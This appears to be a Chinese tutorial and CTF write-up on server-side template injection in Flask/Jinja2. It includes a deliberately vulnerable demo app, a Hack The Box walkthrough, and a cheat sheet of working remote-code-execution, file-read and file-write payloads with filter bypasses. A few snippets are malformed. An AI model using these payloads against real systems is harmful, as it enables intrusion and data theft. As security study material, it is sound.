SSTI

SSTI初识

从何而来?

MVC模型与网站模板引擎

讲SSTI之前,首先需要了解MVC模型。MVC是一种开发框架,全名是Model View Controller。

也即模型(model)-视图(view)-控制器(controller)

在MVC框架中,用户的输入通过 View 接收,交给 Controller ,然后由 Controller 调用 Model 或者其他的 Controller 进行处理,最后再返回给 View ,这样就最终显示在我们的面前了,那么这里的 View 就会大量地运用一种叫网站模板引擎的技术

通俗的讲,整个过程就是拿到数据处理,塞到模板里,然后让渲染引擎将塞进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

常见的模板引擎:

  • php:Smarty、Twig、Blade
  • java:jsp、Velocity
  • python:flask/jinjia2、django(ORM)、tornado
  • ruby:erb

再回到SSTI,SSTI全称服务端模板注入,起因是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中(渲染函数),执行了用户插入的恶意内容,从而导致各种各样的问题。—— 与sql注入类似,相信用户的输入并做了执行。

SSTI前置知识

内建函数

启动 python 解释器时,即使没有创建任何变量或函数还是会有很多函数可供使用,这些就是 python 的内建函数

在 Python 交互模式下,使用命令 dir('builtins') 即可查看当前 Python 版本的一些内建变量、内建函数,内建函数可以调用一切函数

类继承

  • 构造 Python-SSTI 的 Payload 需要什么是类继承
  • Python 中一切均为对象,均继承于 object 对象,Python 的 object 类中集成了很多的基础函数,假如需要在 Payload 中使用某个函数就需要用 object 去操作
  • 常见的继承关系的方法有以下三种:
  1. base:对象的一个基类,一般情况下是 object
  2. mro:获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object 在最底层所以在列表中的最后,通过 mro[-1] 可以获取到
  3. subclasses():继承此对象的子类,返回一个列表

攻击链寻找

攻击方式为:变量 -> 对象 -> 基类 -> 子类遍历 -> 全局变量

基础类的执行

1
2
3
4
5
6
7
8
9
10
11
12
__class__  返回类型所属的对象(类)
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

''.__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]

此外,在引入了 Flask/Jinja 的相关模块后还可以通过以下字符来获取基本类

1
2
3
4
5
6
config
request
url_for
get_flashed_messages
self
redirect

获取基本类后,继续向下获取基本类 (object) 的子类

1
object.__subclasses__()

写一个遍历子类

1
2
3
4
5
6
7
8
9
import requests
import re
import html
url = "http://161.35.47.235:31391/%7B%7B[].__class__.__base__.__subclasses__()%7D%7D"
result = html.unescape(requests.get(url).text)
type_list = re.findall(r"<type '.*?'>|<class '.*?'>", result)
print(type_list)
for i in range(len(type_list)):
print(i, type_list[i])

找到重载过的 __init__ 类,在获取初始化属性后,带 wrapper 的说明没有重载。这些并不是function,不具有__globals__属性。

再换几个子类,很快就能找到一个重载过__init__的类;也可以利用 .index()去找 file, warnings.catch_warnings

1
2
3
4
5
''.__class__.__mro__[2].__subclasses__()[99].__init__
<slot wrapper '__init__' of 'object' objects>

''.__class__.__mro__[2].__subclasses__()[59].__init__
<unbound method WarningMessage.__init__>

查看其引用 __builtins__

1
''.__class__.__mro__[2].__subclasses__()[138].__init__.__globals__['__builtins__']

这里会返回 dict 类型,寻找 keys 中可用函数,使用 keys 中的 file 等函数来实现读取文件的功能

1
''.__class__.__mro__[-1].__subclasses__()[138].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()

常见的目标函数

1
2
3
4
5
file
subprocess.Popen
os.popen
exec
eval

Flask demo

这里以为flask 的ssti demo为例,进行学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
return render_template_string(template)

if __name__ == '__main__':
app.run(host='127.0.0.1', debug=True)

jinjia的语言格式:

1
2
3
控制结构 {% %}
变量取值 {{ }}
注释 {# #}

参考:flask之ssti模版注入从零到入门

HTB-template练习

Hack the box提供了SSTI注入的web CTF题,访问后发现页面存在flask/jinjia2的提示,联想到ssti,进行测试

image-20220330153012307

发现后端确实存在请求输入语句的解析和执行

image-20220330152953856

于是利用python类继承特性,寻找可利用载荷

寻找基类及可利用子类

首先查找object基类,并遍历其子类,寻找可使用的模块warnings.catch_warnings,为了方便获得子类序号,编写脚本如下,顺利找到编号185(当然,也可以利用类413 <class 'subprocess.Popen'>)。

image-20220330162531183

实际上也并非必须warnings.catch_warnings,可利用以下方式来寻找其他可利用的类,核心是找可以重载的函数,从而获取globals全局变量

1
2
3
4
5
#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性
#再换几个子类,很快就能找到一个重载过__init__的类,比如

比如这里,测试发现第184个子类重载,那么同样可以利用其获取全局变量,然后获取内建模块,并引用内建函数,从而进行os、eval等操作

image-20220330170420513

寻找利用函数与命令执行

切入载荷的方法有很多,这里回归正题,仍用warnings.catch_warnings来完成测试。上面获取到可利用子类后,查看该模块的全局变量,并且定位到内建模块,__globals__['__bultins'__],内建模块中有很多内建函数可供使用:import、eval、exec、open等

image-20220330174846788

3.这里尝试执行命令,先获取目录下文件:

1
161.35.47.235:31391/{{''.__class__.__mro__[-1].__subclasses__()[185].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

img

4.然后就是读取文件了:这里分别使用内建函数evalopen进行读取

1
2
## 采用eval
161.35.47.235:31391/{{''.__class__.__mro__[-1].__subclasses__()[185].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag.txt').read()")}}

img

1
2
## 采用open
http://161.35.47.235:31391/%7B%7B''.__class__.__mro__[-1].__subclasses__()[185].__init__.__globals__['__builtins__']['open']('flag.txt').read()%7D%7D

img

payload大全

读取文件

<type ‘file’> file位置一般为40,直接调用

1
[].__class__.__base__.__subclasses__()[40]('fl4g').read()

<class ‘site._Printer’> 调用os的popen执行命令

1
2
3
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()
[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()

如果system被过滤,用os的listdir读取目录+file模块读取文件:

1
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')

<class ‘subprocess.Popen’> 位置一般为258

1
2
3
{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

命令执行

<class ‘warnings.catch_warnings’>
一般位置为59,可以用它来调用file、os、eval、commands等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#调用file
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #把 read() 改为 write() 就是写文件
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

#调用eval
[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")
#调用system方法
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0
#调用commands进行命令执行
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')

python3

1
2
3
4
5
6
7
8
#读取文件与写文件类
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('27/etc/passwd').read()}}
#执行命令
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

Jinjia2通用RCE Payload

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}

过滤和绕过

没什么系统思路。就是不断挖掘类研究官方文档以及各种能够利用的姿势。这里从最简单的绕过说起。

1.过滤[]等括号 使用gititem绕过

原poc {{"".__class__.__bases__[0]}}

绕过后{{"".__class__.__bases__.__getitem__(0)}}

2.过滤了subclasses,拼凑法

原poc{{"".__class__.__bases__[0].__subclasses__()}}

绕过{{.__class__.__bases__[0].__'subcl'+'asses'__()}}

3.过滤class 使用session

poc {{session['cla'+'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}

多个bases[0]是因为一直在向上找object类。使用mro就会很方便

{{session['cla'+'ss'].mro[12]}} 或者 request['cl'+'ass'].mro[12]}}

自动化工具

SSTI测试工具–Tplmap

GitHub:https://github.com/epinna/tplmap


总结

  1. 思考如何利用注入点执行我们想执行的语句?
  • 网站的引擎?—— 对应的模板语句、对应的语法
  • 语言本身的特性及内置函数、变量、属性?—— 如python类继承
  • 框架的全局变量、属性、函数 —— 如jinja
  • 最后才考虑寻找应用自定义的东西 —— 这部分没有文档,是开发者自行设计的,有源码才考虑
  1. SSTI执行的核心是什么?

​ 对于flask而言,渲染函数有redner_template()render_template_string(),前者是将数据传输到文件中进行渲染(一般为html),这是比较规范的写法。传入的参数在模板中会被html编码,从而无法再执行。而后者,是对一个字符串进行编译解析,这个字符串在渲染之前,是经过拼接的。所以会造成SSTI。

​ 这种场景常见于当访问链接不存在时,服务器返回404,并将请求的链接url回显在页面里。如果程序员偷懒,很可能没有单独创建404.html文件,而是直接进行了拼接,于是造成了SSTI。

1
2
3
4
5
6
7
8
9
10
## render_template_string() 实例

def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
template_render_string(template)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
## render_template() 实例

@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():
return render_template("index.html",title='404 not fond',404url=request.url)

### index.html
<html>
<head>
<title>{{title}}</title>
</head>
<body>
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
</body>
</html>
  1. 怎么寻找漏洞?

​ 主要寻找输出即输入的地方,即哪里输入,哪里就有原封不动的输出,会可能存在注入的可能。同时要事先掌握网站指纹,避免模板语句的使用不当。